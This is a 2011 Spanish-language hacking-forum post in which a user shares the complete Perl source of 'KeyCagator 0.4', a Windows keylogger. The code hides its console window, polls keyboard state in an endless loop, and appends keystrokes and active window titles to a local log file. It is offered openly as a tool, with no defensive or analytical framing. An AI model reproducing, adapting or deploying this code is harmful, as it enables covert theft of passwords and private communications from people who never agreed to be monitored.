elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: AIO elhacker.NET 2021 Compilación herramientas análisis y desinfección malware


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  [Perl] KeyCagator 0.4
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Perl] KeyCagator 0.4  (Leído 1,590 veces)
BigBear


Desconectado Desconectado

Mensajes: 545



Ver Perfil
[Perl] KeyCagator 0.4
« en: 9 Octubre 2011, 17:50 pm »

Bueno , este es un keylogger en perl que hice con las siguientes opciones

* Captura teclas reconociendo mayusculas y minusculas
* Muestra ventanas en las que se esta trabajando

Pocas opciones pero mejor la version anterior

Código
  1. #!usr/bin/perl
  2. #KeyCagator 0.4 (C) Doddy Hackman 2010
  3. #
  4.  
  5. use Win32::API;
  6. use Win32::GuiTest qw(GetForegroundWindow GetWindowText);
  7.  
  8. my $come = new Win32::API("user32", "GetAsyncKeyState","N", "I");
  9. my $tengo = 0;
  10.  
  11. if ($^O eq 'MSWin32') {
  12. use Win32::Console;
  13. Win32::Console::Free();
  14. }
  15.  
  16. while (true) {
  17.  
  18. capture_windows();
  19. capture_keys();
  20.  
  21. }
  22.  
  23. sub capture_windows {
  24.  
  25. my $win1 = GetForegroundWindow();        
  26. my $win2 = GetForegroundWindow();
  27.  
  28. if($win1 != $win2){
  29. my $nombre = GetWindowText($win1);
  30. chomp($nombre);
  31. if ($nombre ne "") {
  32. #print "\n\n[".$nombre."]\n\n";
  33. savefile("logs.txt","\n\n[".$nombre."]\n\n");
  34. }
  35. }
  36.  
  37. }
  38.  
  39. sub capture_keys {
  40.  
  41. my $test1;
  42. my $test2;
  43.  
  44.  
  45. capture_windows();
  46.  
  47. for my $num(0x30..0x39) { #Numbers
  48.  
  49. capture_windows();
  50.  
  51. if (dame($num)) {
  52. #print "number : ".chr($num)."\n";
  53. savefile("logs.txt",chr($num));
  54. }
  55. }
  56.  
  57. if (dame(0x14)) {
  58. $test1 = 1;
  59. $tengo++;
  60. }
  61.  
  62. for my $num(0x41..0x5A) { #Words
  63.  
  64.  
  65. capture_windows();
  66.  
  67. if (dame($num)) {
  68.  
  69.  
  70. if (dame(0x0d)) {
  71. savefile("logs.txt","\n\n[enter]\n\n");
  72. }
  73.  
  74. unless (verpar($tengo) eq 1) {
  75. #print "MAYUSCULA : ".chr($num)."\n";
  76. savefile("logs.txt",chr($num));
  77. }
  78.  
  79. if (dame(0x10) or dame(0xA0) or dame(0xA1)) {
  80. #print "MAYUSCULA : ".chr($num)."\n";
  81. $test2 = 1;
  82. }
  83.  
  84. unless ($test1 eq 1 or $test2 eq 1) {
  85. if ($num >= 0x41) {
  86. if ($num <= 0x5A) {
  87. if (verpar($tengo) eq 1) {
  88. #print "MINUSCULA : ".chr($num+32)."\n";
  89. savefile("logs.txt",chr($num+32));
  90. }
  91. }
  92. }
  93. }
  94. }
  95. }
  96.  
  97. }
  98.  
  99. sub dame {
  100. return($come->Call(@_) & 1);
  101. }
  102.  
  103. sub savefile {
  104. open (SAVE,">>".$_[0]);
  105. print SAVE $_[1];
  106. close SAVE;
  107. }
  108.  
  109. sub verpar{
  110. return ($_[0] % 2 == 0) ? "1" : "2";
  111. }
  112.  
  113.  
  114. #Credits : to explorer for helpme with the function verpar()
  115. #Mail : lepuke[at]hotmail[com]
  116. #Blog : doddy-hackman.blogspot.com
  117. # ¿ The End ?
  118.  


En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[Perl] Keycagator 0.7
Scripting
BigBear 7 3,329 Último mensaje 9 Octubre 2011, 22:56 pm
por leogtz
[Perl Tk] Project KeyCagator 1.0
Scripting
BigBear 0 1,623 Último mensaje 3 Noviembre 2012, 15:39 pm
por BigBear
[Delphi] DH KeyCagator 0.2
Programación General
BigBear 3 2,170 Último mensaje 9 Noviembre 2013, 00:34 am
por Fran2013
[Delphi] DH KeyCagator 0.7
Programación General
BigBear 0 1,490 Último mensaje 22 Noviembre 2013, 14:56 pm
por BigBear
[Delphi] DH KeyCagator 1.0
Programación General
BigBear 0 1,631 Último mensaje 5 Junio 2014, 18:17 pm
por BigBear
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines